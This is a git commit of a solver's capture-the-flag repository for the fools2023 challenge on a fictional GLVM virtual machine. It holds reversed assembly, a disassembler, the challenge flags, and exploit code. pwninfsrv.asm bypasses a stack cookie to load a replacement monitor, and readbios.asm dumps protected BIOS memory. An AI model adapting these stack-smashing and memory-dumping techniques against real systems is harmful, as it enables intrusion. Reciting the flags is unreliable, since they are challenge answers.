Browse Source

Upload

master
mid-kid 2 years ago
commit
560d0dfe3e
  1. 1
      GRLINFSRV/FLAG.TXT
  2. BIN
      GRLINFSRV/GRLINFSRV.PRG
  3. 1
      GRLTS01/ASDF.TXT
  4. BIN
      GRLTS01/BIOS.PRG
  5. BIN
      GRLTS01/MATHTEST.PRG
  6. BIN
      GRLTS01/MONITOR.PRG
  7. BIN
      GRLTS01/REPORT03.PRG
  8. BIN
      GRLTS01/REPORT03.TXT
  9. 21
      GRLTS01/TODO.TXT
  10. BIN
      GRLTS02/ENCTABLE.BIN
  11. 1
      GRLTS02/FLAG.TXT
  12. BIN
      GRLTS02/MIXTEST.PRG
  13. BIN
      GRLTS02/MONITOR.PRG
  14. 1
      fools2023
  15. 38
      prog/Makefile
  16. 318
      prog/bios.asm
  17. 44
      prog/custom/mathsolve.asm
  18. 12
      prog/custom/mathsolve.py
  19. 29
      prog/custom/pwninfsrv.asm
  20. 72
      prog/custom/readbios.asm
  21. 18
      prog/custom/readfile.asm
  22. 89
      prog/custom/test.asm
  23. 292
      prog/disasm.py
  24. 10
      prog/exec.sh
  25. 227
      prog/grlinfsrv.asm
  26. 1214
      prog/instr.inc
  27. 80
      prog/mathtest.asm
  28. 108
      prog/mixtest.asm
  29. 680
      prog/monitor.asm
  30. 871
      prog/monitor02.asm
  31. 190
      prog/report03.asm
  32. 264
      tools/brute_GRLTS02.sh
  33. 46
      tools/crack_GRLTS02.py
  34. 146
      tools/decrypt_REPORT03.c
  35. 21
      tools/dump_GRLINFSRV.sh
  36. 52
      tools/monitor_GRLINFSRV.py
  37. 51
      tools/timepwn_GRLTS02.py
  38. 3
      users.txt

1
GRLINFSRV/FLAG.TXT

@ -0,0 +1 @@
FOOLS2023_{ThisDefinitelyCountsAsBinaryExploitation}

BIN
GRLINFSRV/GRLINFSRV.PRG

Binary file not shown.

1
GRLTS01/ASDF.TXT

@ -0,0 +1 @@
sdfhkdsh sjdfhkdsfh testing file functions FOOLS2023_{ThisFileDoesNotExist}

BIN
GRLTS01/BIOS.PRG

Binary file not shown.

BIN
GRLTS01/MATHTEST.PRG

Binary file not shown.

BIN
GRLTS01/MONITOR.PRG

Binary file not shown.

BIN
GRLTS01/REPORT03.PRG

Binary file not shown.

BIN
GRLTS01/REPORT03.TXT

Binary file not shown.

21
GRLTS01/TODO.TXT

@ -0,0 +1,21 @@
to do list
- revisit the sentience issues in the battle program (missingno addressing players?)
- upgrade slower processor on grlts02
- add glvm disassembler to language monitor <----- URGENT, REQUIRED FOR GLVM TRANSITION
decide on disassembly syntax too
FOOLS2023_{OhLookThereIsATextFile}
PrintStr = 0x0008
StrCmp = 0x0010
FindIndex = 0x0018
ConvertHex = 0x0020
MemCpy = 0x0028
ReadStr = 0x0030
StrTrim = 0x0038
MemSet = 0x0040
2319
2324
2331
far red close blue

BIN
GRLTS02/ENCTABLE.BIN

Binary file not shown.

1
GRLTS02/FLAG.TXT

@ -0,0 +1 @@
FOOLS2023_{SolidAuthenticationScheme}

BIN
GRLTS02/MIXTEST.PRG

Binary file not shown.

BIN
GRLTS02/MONITOR.PRG

Binary file not shown.

1
fools2023

@ -0,0 +1 @@
Subproject commit 05995e2ba0b2bda907513ef8cb6b2fa85012de1a

38
prog/Makefile

@ -0,0 +1,38 @@
OBJCOPY ?= objcopy
LDFLAGS := -Ttext=0x2000
.PHONY: all
all: mathtest.prg report03.prg monitor.prg bios.prg grlinfsrv.prg monitor02.prg mixtest.prg
diff mathtest.prg ../GRLTS01/MATHTEST.PRG
diff report03.prg ../GRLTS01/REPORT03.PRG
diff monitor.prg ../GRLTS01/MONITOR.PRG
diff bios.prg ../GRLTS01/BIOS.PRG
diff grlinfsrv.prg ../GRLINFSRV/GRLINFSRV.PRG
diff monitor02.prg ../GRLTS02/MONITOR.PRG
diff mixtest.prg ../GRLTS02/MIXTEST.PRG
.PHONY: clean
clean:
rm -f *.elf *.prg custom/*.prg
.INTERMEDIATE: monitor.elf
monitor.elf: LDFLAGS := -Ttext=0xE000
.INTERMEDIATE: bios.elf
bios.elf: LDFLAGS := -Ttext=0x0000
.INTERMEDIATE: grlinfsrv.elf
grlinfsrv.elf: LDFLAGS := -Ttext=0xF000
.INTERMEDIATE: monitor02.elf
monitor02.elf: LDFLAGS := -Ttext=0xE000
%.o: %.asm instr.inc
$(COMPILE.s) $(OUTPUT_OPTION) $<
%.elf: %.o
$(LD) $(LDFLAGS) $(OUTPUT_OPTION) $^
%.prg: %.elf
$(OBJCOPY) -j .text -O binary $< $@

318
prog/bios.asm

@ -0,0 +1,318 @@
.include "instr.inc"
.text
.global _start
_start:
_entry_Null:
.fill 8, 1, 0xff
_entry_PrintStr:
jp bios_PrintStr
.fill (0x10 - (. - _start)), 1, 0
_entry_StrCmp:
jp bios_StrCmp
.fill (0x18 - (. - _start)), 1, 0
_entry_FindIndex:
jp bios_FindIndex
.fill (0x20 - (. - _start)), 1, 0
_entry_ConvertHex:
jp bios_ConvertHex
.fill (0x28 - (. - _start)), 1, 0
_entry_MemCpy:
jp bios_MemCpy
.fill (0x30 - (. - _start)), 1, 0
_entry_ReadStr:
jp bios_ReadStr
.fill (0x38 - (. - _start)), 1, 0
_entry_StrTrim:
jp bios_StrTrim
.fill (0x40 - (. - _start)), 1, 0
_entry_MemSet:
bios_ret:
ret
# in: R2=str
bios_PrintStr:
cp_r2 0x1000
jp_hi bios_ret
# Interpret special bytes
ldrb_r0_r2
cp_r0 0
jp_eq bios_PrintStr_ret
cp_r0 0xf0
jp_eq bios_PrintStr_ram_word
cp_r0 0xf1
jp_eq bios_PrintStr_ram_byte
# Print the byte
copr_putc
inc_r2
jp bios_PrintStr
bios_PrintStr_ret:
ret
bios_PrintStr_ram_word:
# Grab the word pointed to
inc_r2
ldr_r0_r2
cp_r0 0x1000
jp_hi bios_ret
ldr_r0_r0
# Print it
call bios_PrintHex_word
inc_r2
inc_r2
jp bios_PrintStr
bios_PrintStr_ram_byte:
# Grab the byte pointed to
inc_r2
ldr_r0_r2
cp_r0 0x1000
jp_hi bios_ret
ldrb_r0_r0
# Print it
call bios_PrintHex_byte
inc_r2
inc_r2
jp bios_PrintStr
# in: R2=one R3=two
# re: R0=res
bios_StrCmp:
cp_r2 0x1000
jp_hi bios_ret
cp_r3 0x1000
jp_hi bios_ret
# Check the bytes
ldrb_r0_r2
ldrb_r1_r3
cp_r0_r1
jp_ne bios_StrCmp_ret
cp_r0 0
jp_eq bios_StrCmp_ret
# Keep looping
inc_r2
inc_r3
jp bios_StrCmp
bios_StrCmp_ret:
ret
bios_PrintHex_word:
swap_r0
call bios_PrintHex
swap_r0
bios_PrintHex_byte:
call bios_PrintHex
ret
bios_PrintHex:
# Print the high nybble
push_r0
shr_r0
shr_r0
shr_r0
shr_r0
and_r0 0xf
call bios_PrintHex_nybble
pop_r0
# Print the low nybble
push_r0
and_r0 0xf
call bios_PrintHex_nybble
pop_r0
ret
bios_PrintHex_nybble:
add_r0 bios_PrintHex_chars
ldrb_r0_r0
copr_putc
ret
bios_PrintHex_chars:
.ascii "0123456789ABCDEF"
# in: R2=table R3=value
# re: R0=index (err=-1)
bios_FindIndex:
ld_r1 -1
bios_FindIndex_loop:
inc_r1
cp_r2 0x1000
jp_hi bios_ret
ldrb_r0_r2
inc_r2
cp_r0 0xff
jp_eq bios_FindIndex_end
cp_r0_r3
jp_ne bios_FindIndex_loop
ld_r0_r1
ret
bios_FindIndex_end:
ld_r0 -1
ret
bios_FindIndexUnsafe:
ld_r1 -1
bios_FindIndexUnsafe_loop:
inc_r1
ldrb_r0_r2
inc_r2
cp_r0 0xff
jp_eq bios_FindIndexUnsafe_end
cp_r0_r3
jp_ne bios_FindIndexUnsafe_loop
ld_r0_r1
ret
bios_FindIndexUnsafe_end:
ld_r0 -1
ret
.ascii "\0\0\0"
.ascii "Glitch Research Laboratory GLVM BIOS version 1.3"
.ascii " / "
.ascii "Do not distribute!"
.ascii " / "
.ascii "FOOLS2023_{DumpingWasAnInsideJob}"
.ascii "\0\0\0"
# in: R2=mem
# re: R0=res (err=-1)
bios_ConvertHex:
ld_r3 0
bios_ConvertHex_loop:
cp_r2 0x1000
jp_hi bios_ret
ldrb_r0_r2
inc_r2
cp_r0 0
jp_eq bios_ConvertHex_end
cp_r0 '\n'
jp_eq bios_ConvertHex_end
# Move previous r3 value to high nybble
add_r3_r3
add_r3_r3
add_r3_r3
add_r3_r3
# Find the index of the character
push_r2
push_r3
ld_r2 bios_ConvertHex_hextable
ld_r3_r0
call bios_FindIndexUnsafe
pop_r3
pop_r2
cp_r0 -1
jp_eq bios_ConvertHex_ret
# Get the value of the character
ld_r1 bios_ConvertHex_valtable
add_r1_r0
ldrb_r1_r1
# Add current nybble to result
add_r3_r1
jp bios_ConvertHex_loop
bios_ConvertHex_end:
ld_r0_r3
bios_ConvertHex_ret:
ret
bios_ConvertHex_hextable:
.ascii "0123456789abcdefABCDEF"
.byte 0xff
bios_ConvertHex_valtable:
.byte 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15
.byte 10, 11, 12, 13, 14, 15
.byte 0xff
# in: R1=size R2=dst R3=src
bios_MemCpy:
cp_r3 0x1000
jp_hi bios_ret
cp_r2 0x1000
jp_hi bios_ret
ldrb_r0_r3
strb_r0_r2
inc_r3
inc_r2
dec_r1
cp_r1 0
jp_ne bios_MemCpy
ret
# in: R2=mem R3=size
bios_ReadStr:
copr_getc
cp_r2 0x1000
jp_hi bios_ret
strb_r0_r2
# Read until the next newline
cp_r0 '\n'
jp_eq bios_ReadStr_end
# Skip characters if the size has ran out
cp_r3 0
jp_eq bios_ReadStr_skip
inc_r2
dec_r3
bios_ReadStr_skip:
jp bios_ReadStr
bios_ReadStr_end:
# Add string terminator
inc_r2
ld_r0 0
strb_r0_r2
ret
# in: R2=mem
bios_StrTrim:
# Find the first whitespace
ldrb_r0_r2
cp_r0 '\n'
jp_eq bios_StrTrim_end
cp_r0 0
jp_eq bios_StrTrim_end
inc_r2
jp bios_StrTrim
bios_StrTrim_end:
# Write a string terminator
ld_r0 0
cp_r2 0x1000
jp_hi bios_ret
strb_r0_r2
ret

44
prog/custom/mathsolve.asm

@ -0,0 +1,44 @@
.include "instr.inc"
.text
.global _start
_start:
copr 0x66
copr 0x64 # 0x539
ld_r0 0x24
copr 0x65
copr 0x64 # 0x4c22
ld_r0 0x8b
copr 0x65
copr 0x64 # 0x9e3f
ld_r0 0xc9
copr 0x65
copr 0x64 # 0x9610
ld_r0 0xc4
copr 0x65
copr 0x64 # 0x0
ld_r0 0
copr 0x65
copr 0x64 # 0x403d
ld_r0 0x80
copr 0x65
copr 0x64 # 0x3021
ld_r0 0x6f
copr 0x65
copr 0x64 # 0x1e61
ld_r0 0x58
copr 0x65
ret
#loop:
# copr 0x64
# brk # Write answer to 0xfb3e
# copr 0x65
# cp_r0 1
# jp_ne end
# jp loop
#
#err:
# ld_r1 -1
# brk
# ret

12
prog/custom/mathsolve.py

@ -0,0 +1,12 @@
#!/usr/bin/env python3
from sys import argv
from math import sqrt
res = int(sqrt(int(argv[1], 16))) & 0xFFFF
print("w")
print("fb3e")
print("%02x%02x" % (res & 0xFF, res >> 8))
print(".")
print("c")

29
prog/custom/pwninfsrv.asm

@ -0,0 +1,29 @@
.include "instr.inc"
.text
.set org, 0xf753
.global _start
_start:
# Relocate
ld_r1 (stack - main)
ld_r2 main
ld_r3 (main - 0x2000 + org)
call MemCpy
jp main
main:
# Receive a replacement monitor rom
ld_r3 0xf000
main_loop:
copr_getc
strb_r0_r3
inc_r3
cp_r3 0
jp_ne main_loop
jp 0xf000
.fill (0xfe00 - org) - (. - _start), 1, 0x00
stack:
.byte 0x12, 0x34, 0x56, 0x78 # Replace with stack cookie
.fill (0x100 / 2) - 2, 2, org

72
prog/custom/readbios.asm

@ -0,0 +1,72 @@
.include "instr.inc"
.text
# Failed techniques:
# - reading with stack pointer
# - using a function stored in bios (memcpy, readstr+text_ram_byte)
# - using undocumented copr commands
# - inspecting the stack and calling different code in the bios
# Approach used:
# - Load REPORT03.PRG into bios area
# - Call some of its code to exfiltrate data
.global _start
_start:
jp simple
# Full approach relying on REPORT03.PRG
ld_r0 0x8
ld_r1 0xf00
copr_readblk
ld_r2 0
ld_r3 0x1000
loop:
# Read the byte
push_r3
call get_byte
pop_r3
# Store the byte
push_r2
ld_r2_r3
str_r0_r2
pop_r2
# Increment the pointer
inc_r3
inc_r3
cp_r3 0x2000
jp_ne loop
# Hexdump the retrieved data
pop_r3
ld_r2 0x1000
ld_r3 (32 * 0x10)
jp 0xf12d # cmd_read_loop
get_byte:
# Load byte from r2 into r0, trash all regs
ld_r0 0
ld_r3 0
jp 0xf66
.fill 0x63 - (. - _start), 1, 0
# Code at 0xf66 jumps here after completion
ret
# Simpler approach learned after dumping the bios
simple:
ld_r1 0x1000
ld_r2 0x1000
ld_r3 0
simple_loop:
call 0x1e8
cp_r1 0
jp_ne simple_loop
pop_r3
ld_r2 0x1000
ld_r3 (32 * 0x10)
jp 0xf12d # cmd_read_loop
#jp 0xf48a # GRLTS02 monitor

18
prog/custom/readfile.asm

@ -0,0 +1,18 @@
.include "instr.inc"
.text
.global _start
_start:
ld_r2 0x1fe0
ld_r3 0x10
call ReadStr
ld_r2 0x1fe0
call ConvertHex
ld_r1 0x1000
copr_readblk
pop_r3
ld_r2 0x1000
ld_r3 32
jp 0xf12d

89
prog/custom/test.asm

@ -0,0 +1,89 @@
.include "instr.inc"
.text
.global _start
_start:
ld_r0 0x40ff
ld_r1 0x50ff
ld_r2 0x60ff
ld_r3 0x70ff
mix
mix1_ld_r1 mem_password
mix1_inc_r1
mix1_ldr_r0_r1
mix1_ld_r1 0x5871
mix1_cp_r0_r1
mix1_jp_ne loc_203b
mix1_inc_r3
loc_203b:
mix1_switch2
mix2_ldr_r0 mem_password + 3
mix2_xor_r0 0x54c2
mix2_cp_r0 0x6da4
mix2_jp_ne loc_2049
mix2_inc_r3
loc_2049:
mix2_switch3
mix3_ld_r1 mem_password + 1
mix3_dec_r1
mix3_ldrb_r0_r1
mix3_add_r0_r0
mix3_add_r0_r0
mix3_cp_r0 0x011c
mix3_jp_ne loc_2058
mix3_inc_r3
loc_2058:
mix3_ld_r0 -1
mix3_end
ld_r2 -1
brk
brk
brk
brk
# ld_r0 0xab67
# ld_r1 0x1234
#loop:
# strb_r0 mod + 1
# brk
#mod:
# copr 0
# brk
# inc_r0
# jp loop
# ret
ld_r2 str_yes
jp_eq end
ld_r2 str_no
end:
call PrintStr
ret
break:
ld_r0 -1
brk
ret
mem_test:
.2byte 0x1000
mem_test2:
.2byte 0x1100
mem_test3:
.2byte 0x1200
mem_test4:
.2byte 0x1300
mem_input:
.ascii "A\0" # 0x9ec0
str_yes:
.ascii "yes\n\0"
str_no:
.ascii "no\n\0"
.fill 0x100 - (. - _start)
mem_password:
.byte 0x47, 0x71, 0x58, 0x66, 0x39, 0x06, 0x07, 0x08

292
prog/disasm.py

@ -0,0 +1,292 @@
#!/usr/bin/env python3
from sys import argv
base = 0x2000
file = argv[1]
addr = int(argv[2], 16) - base
instrs = {
0x00: ("brk", 1),
0x01: ("mul_r0", 3),
0x02: ("mul_r0_r1", 1),
0x03: ("div_r0", 3),
0x04: ("div_r0_r1", 1),
0x05: ("ret", 1),
0x06: ("copr", 2),
0x07: ("illegal_07", 1),
0x08: ("nop", 1),
0x09: ("ld_sp", 3),
0x0a: ("ld_r0_sp", 1),
0x0b: ("ld_sp_r0", 1),
0x0c: ("nop_0c", 1),
0x0d: ("illegal_0d", 1),
0x0e: ("shl_r0", 1),
0x0f: ("shr_r0", 1),
0x10: ("ld_r0", 3),
0x11: ("ld_r1", 3),
0x12: ("ld_r2", 3),
0x13: ("ld_r3", 3),
0x14: ("illegal_14", 1),
0x15: ("illegal_15", 1),
0x16: ("illegal_16", 1),
0x17: ("illegal_17", 1),
0x18: ("illegal_18", 1),
0x19: ("illegal_19", 1),
0x1a: ("illegal_1a", 1),
0x1b: ("illegal_1b", 1),
0x1c: ("illegal_1c", 1),
0x1d: ("illegal_1d", 1),
0x1e: ("illegal_1e", 1),
0x1f: ("illegal_1f", 1),
0x20: ("ld_r0_r0", 1),
0x21: ("ld_r0_r1", 1),
0x22: ("ld_r0_r2", 1),
0x23: ("ld_r0_r3", 1),
0x24: ("ld_r1_r0", 1),
0x25: ("ld_r1_r1", 1),
0x26: ("ld_r1_r2", 1),
0x27: ("ld_r1_r3", 1),
0x28: ("ld_r2_r0", 1),
0x29: ("ld_r2_r1", 1),
0x2a: ("ld_r2_r2", 1),
0x2b: ("ld_r2_r3", 1),
0x2c: ("ld_r3_r0", 1),
0x2d: ("ld_r3_r1", 1),
0x2e: ("ld_r3_r2", 1),
0x2f: ("ld_r3_r3", 1),
0x30: ("add_r0_r0", 1),
0x31: ("add_r0_r1", 1),
0x32: ("add_r0_r2", 1),
0x33: ("add_r0_r3", 1),
0x34: ("add_r1_r0", 1),
0x35: ("add_r1_r1", 1),
0x36: ("add_r1_r2", 1),
0x37: ("add_r1_r3", 1),
0x38: ("add_r2_r0", 1),
0x39: ("add_r2_r1", 1),
0x3a: ("add_r2_r2", 1),
0x3b: ("add_r2_r3", 1),
0x3c: ("add_r3_r0", 1),
0x3d: ("add_r3_r1", 1),
0x3e: ("add_r3_r2", 1),
0x3f: ("add_r3_r3", 1),
0x40: ("ldrb_r0_r0", 1),
0x41: ("ldrb_r0_r1", 1),
0x42: ("ldrb_r0_r2", 1),
0x43: ("ldrb_r0_r3", 1),
0x44: ("ldrb_r1_r0", 1),
0x45: ("ldrb_r1_r1", 1),
0x46: ("ldrb_r1_r2", 1),
0x47: ("ldrb_r1_r3", 1),
0x48: ("ldrb_r2_r0", 1),
0x49: ("ldrb_r2_r1", 1),
0x4a: ("ldrb_r2_r2", 1),
0x4b: ("ldrb_r2_r3", 1),
0x4c: ("ldrb_r3_r0", 1),
0x4d: ("ldrb_r3_r1", 1),
0x4e: ("ldrb_r3_r2", 1),
0x4f: ("ldrb_r3_r3", 1),
0x50: ("ldr_r0_r0", 1),
0x51: ("ldr_r0_r1", 1),
0x52: ("ldr_r0_r2", 1),
0x53: ("ldr_r0_r3", 1),
0x54: ("ldr_r1_r0", 1),
0x55: ("ldr_r1_r1", 1),
0x56: ("ldr_r1_r2", 1),
0x57: ("ldr_r1_r3", 1),
0x58: ("ldr_r2_r0", 1),
0x59: ("ldr_r2_r1", 1),
0x5a: ("ldr_r2_r2", 1),
0x5b: ("ldr_r2_r3", 1),
0x5c: ("ldr_r3_r0", 1),
0x5d: ("ldr_r3_r1", 1),
0x5e: ("ldr_r3_r2", 1),
0x5f: ("ldr_r3_r3", 1),
0x60: ("strb_r0_r0", 1),
0x61: ("strb_r1_r0", 1),
0x62: ("strb_r2_r0", 1),
0x63: ("strb_r3_r0", 1),
0x64: ("strb_r0_r1", 1),
0x65: ("strb_r1_r1", 1),
0x66: ("strb_r2_r1", 1),
0x67: ("strb_r3_r1", 1),
0x68: ("strb_r0_r2", 1),
0x69: ("strb_r1_r2", 1),
0x6a: ("strb_r2_r2", 1),
0x6b: ("strb_r3_r2", 1),
0x6c: ("strb_r0_r3", 1),
0x6d: ("strb_r1_r3", 1),
0x6e: ("strb_r2_r3", 1),
0x6f: ("strb_r3_r3", 1),
0x70: ("str_r0_r0", 1),
0x71: ("str_r1_r0", 1),
0x72: ("str_r2_r0", 1),
0x73: ("str_r3_r0", 1),
0x74: ("str_r0_r1", 1),
0x75: ("str_r1_r1", 1),
0x76: ("str_r2_r1", 1),
0x77: ("str_r3_r1", 1),
0x78: ("str_r0_r2", 1),
0x79: ("str_r1_r2", 1),
0x7a: ("str_r2_r2", 1),
0x7b: ("str_r3_r2", 1),
0x7c: ("str_r0_r3", 1),
0x7d: ("str_r1_r3", 1),
0x7e: ("str_r2_r3", 1),
0x7f: ("str_r3_r3", 1),
0x80: ("cp_r0_r0", 1),
0x81: ("cp_r0_r1", 1),
0x82: ("cp_r0_r2", 1),
0x83: ("cp_r0_r3", 1),
0x84: ("cp_r1_r0", 1),
0x85: ("cp_r1_r1", 1),
0x86: ("cp_r1_r2", 1),
0x87: ("cp_r1_r3", 1),
0x88: ("cp_r2_r0", 1),
0x89: ("cp_r2_r1", 1),
0x8a: ("cp_r2_r2", 1),
0x8b: ("cp_r2_r3", 1),
0x8c: ("cp_r3_r0", 1),
0x8d: ("cp_r3_r1", 1),
0x8e: ("cp_r3_r2", 1),
0x8f: ("cp_r3_r3", 1),
0x90: ("push_r0", 1),
0x91: ("push_r1", 1),
0x92: ("push_r2", 1),
0x93: ("push_r3", 1),
0x94: ("pop_r0", 1),
0x95: ("pop_r1", 1),
0x96: ("pop_r2", 1),
0x97: ("pop_r3", 1),
0x98: ("jp", 3),
0x99: ("call", 3),
0x9a: ("jp_hi", 3),
0x9b: ("jp_lo", 3),
0x9c: ("jp_eq", 3),
0x9d: ("jp_ne", 3),
0x9e: ("call_hi", 3),
0x9f: ("call_lo", 3),
0xa0: ("call_eq", 3),
0xa1: ("call_ne", 3),
0xa2: ("cp_r0", 3),
0xa3: ("cp_r1", 3),
0xa4: ("cp_r2", 3),
0xa5: ("cp_r3", 3),
0xa6: ("push_sp", 1),
0xa7: ("push_pc", 1),
0xa8: ("inc_r0", 1),
0xa9: ("inc_r1", 1),
0xaa: ("inc_r2", 1),
0xab: ("inc_r3", 1),
0xac: ("dec_r0", 1),
0xad: ("dec_r1", 1),
0xae: ("dec_r2", 1),
0xaf: ("dec_r3", 1),
0xb0: ("ldrb_r0", 3),
0xb1: ("ldrb_r1", 3),
0xb2: ("ldrb_r2", 3),
0xb3: ("ldrb_r3", 3),
0xb4: ("ldr_r0", 3),
0xb5: ("ldr_r1", 3),
0xb6: ("ldr_r2", 3),
0xb7: ("ldr_r3", 3),
0xb8: ("strb_r0", 3),
0xb9: ("strb_r1", 3),
0xba: ("strb_r2", 3),
0xbb: ("strb_r3", 3),
0xbc: ("str_r0", 3),
0xbd: ("str_r1", 3),
0xbe: ("str_r2", 3),
0xbf: ("str_r3", 3),
0xc0: ("illegal_c0", 1),
0xc1: ("illegal_c1", 1),
0xc2: ("illegal_c2", 1),
0xc3: ("illegal_c3", 1),
0xc4: ("illegal_c4", 1),
0xc5: ("jp_r0", 1),
0xc6: ("jp_r1", 1),
0xc7: ("jp_r2", 1),
0xc8: ("jp_r3", 1),
0xc9: ("call_r0", 1),
0xca: ("call_r1", 1),
0xcb: ("call_r2", 1),
0xcc: ("call_r3", 1),
0xcd: ("and_r0", 3),
0xce: ("or_r0", 3),
0xcf: ("xor_r0", 3),
0xd0: ("and_r0_r0", 1),
0xd1: ("and_r0_r1", 1),
0xd2: ("and_r0_r2", 1),
0xd3: ("and_r0_r3", 1),
0xd4: ("or_r0_r0", 1),
0xd5: ("or_r0_r1", 1),
0xd6: ("or_r0_r2", 1),
0xd7: ("or_r0_r3", 1),
0xd8: ("xor_r0_r0", 1),
0xd9: ("xor_r0_r1", 1),
0xda: ("xor_r0_r2", 1),
0xdb: ("xor_r0_r3", 1),
0xdc: ("swap_r0", 1),
0xdd: ("swap_r1", 1),
0xde: ("swap_r2", 1),
0xdf: ("swap_r3", 1),
0xe0: ("add_r0", 3),
0xe1: ("add_r1", 3),
0xe2: ("add_r2", 3),
0xe3: ("add_r3", 3),
0xe4: ("illegal_e4", 1),
0xe5: ("illegal_e5", 1),
0xe6: ("illegal_e6", 1),
0xe7: ("illegal_e7", 1),
0xe8: ("illegal_e8", 1),
0xe9: ("illegal_e9", 1),
0xea: ("illegal_ea", 1),
0xeb: ("illegal_eb", 1),
0xec: ("illegal_ec", 1),
0xed: ("illegal_ed", 1),
0xee: ("illegal_ee", 1),
0xef: ("illegal_ef", 1),
0xf0: ("illegal_f0", 1),
0xf1: ("illegal_f1", 1),
0xf2: ("illegal_f2", 1),
0xf3: ("illegal_f3", 1),
0xf4: ("illegal_f4", 1),
0xf5: ("illegal_f5", 1),
0xf6: ("illegal_f6", 1),
0xf7: ("illegal_f7", 1),
0xf8: ("illegal_f8", 1),
0xf9: ("illegal_f9", 1),
0xfa: ("illegal_fa", 1),
0xfb: ("illegal_fb", 1),
0xfc: ("illegal_fc", 1),
0xfd: ("illegal_fd", 1),
0xfe: ("illegal_fe", 1),
0xff: ("illegal_ff", 1),
}
stop_instr = [
"ret",
"jp"
]
f = open(file, "rb")
f.seek(addr)
while True:
o = f.tell() + base
b = f.read(1)[0]
if b not in instrs:
print("Unhandled: %02x" % b)
break
i = instrs[b]
a = 0
for x in range(i[1]-1):
a |= f.read(1)[0] << (8 * x)
if i[1] != 1:
print("%s 0x%04x # 0x%04x" % (i[0], a, o))
else:
print("%s # 0x%04x" % (i[0], o))
if i[0] in stop_instr:
break

10
prog/exec.sh

@ -0,0 +1,10 @@
#!/bin/sh
make "$1" 1>&2
echo w
echo 2000
xxd -p "$1"
echo .
echo x
echo 2000
echo Y

227
prog/grlinfsrv.asm

@ -0,0 +1,227 @@
.include "instr.inc"
.text
.global _start
_start:
# Set up the stack
ld_sp mem_stack
copr_random
str_r0 mem_stack_tail
str_r0 mem_stack_cookie
copr_random
str_r0 mem_stack_tail + 2
str_r0 mem_stack_cookie + 2
# Prompt for username
ld_r2 str_login
call PrintStr
ld_r2 mem_username
ld_r3 15
call ReadStr
ld_r2 mem_username
call StrTrim
call main
ld_r2 str_done
call PrintStr
copr_halt
die:
jp die
main:
# Welcome the user
ld_r2 str_welcome
call PrintStr
ld_r2 mem_username
call PrintStr
ld_r2 str_welcome2
call PrintStr
# Process input
ld_r2 mem_input
call input_read
ldrb_r0 mem_input
cp_r0 'Q'
jp_eq main_end
cp_r0 'q'
jp_eq main_end
ldrb_r0 mem_input + 1
cp_r0 '\n'
jp_eq main_print_info
cp_r0 0
jp_eq main_print_info
jp main_wrong_input
main_print_info:
# Get info index
ldrb_r3 mem_input
add_r3 -'0'
cp_r3 3
jp_lo main_wrong_input
# Print the correct string
add_r3_r3
add_r3 mem_info_strings
ldr_r2_r3
call PrintStr
jp main
main_wrong_input:
ld_r2 str_wrong_input
call PrintStr
ld_r3 0x1000
jp main
main_end:
# Check for stack smash
ldr_r0 mem_stack_cookie
ldr_r1 mem_stack_tail
cp_r0_r1
jp_ne stack_smash_halt
ldr_r0 mem_stack_cookie + 2
ldr_r1 mem_stack_tail + 2
cp_r0_r1
jp_ne stack_smash_halt
ret
input_read:
# Store the byte
copr_getc
strb_r0_r2
# Treat newline as delimiter
cp_r0 '\n'
jp_eq input_read_end
# Don't increment if ran out of space
cp_r3 0
jp_eq input_read_skip
inc_r2
dec_r3
input_read_skip:
jp input_read
input_read_end:
# Terminate the string
inc_r2
ld_r0 0
strb_r0_r2
# Check for stack smash
ldr_r0 mem_stack_cookie
ldr_r1 mem_stack_tail
cp_r0_r1
jp_ne stack_smash_halt
ldr_r0 mem_stack_cookie + 2
ldr_r1 mem_stack_tail + 2
cp_r0_r1
jp_ne stack_smash_halt
ret
stack_smash_halt:
ld_r2 str_stack_smashing_detected
call PrintStr
copr_halt
str_stack_smashing_detected:
.ascii "*** stack smashing detected *** "
text_ram_byte 0xfe00
text_ram_byte 0xfe01
text_ram_byte 0xfe02
text_ram_byte 0xfe03
.ascii " != "
text_ram_byte 0xf74f
text_ram_byte 0xf750
text_ram_byte 0xf751
text_ram_byte 0xf752
.ascii " - halted\n\0"
str_login:
.ascii "Welcome to Glitch Research Lab Information Server (GRLINFSRV)\n"
.ascii "Enter your name for our records (max 15 characters): \0"
str_welcome:
.ascii "\n"
.ascii "-----\n"
.ascii "\n"
.ascii "Welcome, \0"
str_welcome2:
.ascii "!\n"
.ascii "\n"
.ascii "Selection of topics:\n"
.ascii "(1) About the Glitch Research Laboratory\n"
.ascii "(2) About the GLVM test servers\n"
.ascii "(3) About the Fight Simulation Program\n"
.ascii "\n"
.ascii "Enter the number of the topic you wish to view, or 'q' to leave: \0"
str_done:
.ascii "Thank you. Have a nice day!\n\0"
mem_info_strings:
.2byte str_wrong_input
.2byte str_info_1
.2byte str_info_2
.2byte str_info_3
str_wrong_input:
.ascii "Please type 1, 2 or 3, dummy!\n\0"
str_info_1:
.ascii "\n"
.ascii "-----\n"
.ascii "\n"
.ascii "Glitch Research Laboratory is the leading glitchology research\n"
.ascii "facility in all of Glitch Islands. We specialize in research of\n"
.ascii "various glitch phenomena existing in Glitch Islands and in all of\n"
.ascii "the surrounding areas.\n"
.ascii "\0"
str_info_2:
.ascii "\n"
.ascii "-----\n"
.ascii "\n"
.ascii "GLVM is our innovative, new machine architecture, designed to bring\n"
.ascii "the ease of Z80 assembly programming to the modern world.\n"
.ascii "The simplified instruction set of the GLVM enhances productivity\n"
.ascii "of our employees and significantly speeds up development of software\n"
.ascii "required for our research.\n"
.ascii "Work on the GLVM architecture is still ongoing, and all implementation\n"
.ascii "details are strictly confidential, until further notice.\n"
.ascii "\0"
str_info_3:
.ascii "\n"
.ascii "-----\n"
.ascii "\n"
.ascii "Fight Simulation Program is the current ongoing project of Glitch\n"
.ascii "Research Laboratory. It allows for examination of behavior of\n"
.ascii "malicious glitch actors, such as Missingno., without running the risk\n"
.ascii "of prolonged exposure to glitches or corruption.\n"
.ascii "Participants are able to fight against opponents in an isolated\n"
.ascii "environment, similar to typical turn-based strategy games.\n"
.ascii "The program is still in development, and as such, all details are\n"
.ascii "strictly confidential.\n"
.ascii "\0"
.ascii "FOOLS2023_{DoesThisCountAsFormatString}\n\0"
mem_username:
.ascii "________________"
mem_stack_cookie:
.fill 4, 1, 0
mem_input:
.ascii "________"
.fill 0x6a5, 1, 0
mem_stack_tail:
.fill 0x100, 1, 0
mem_stack:
.fill 0x100, 1, 0

1214
prog/instr.inc

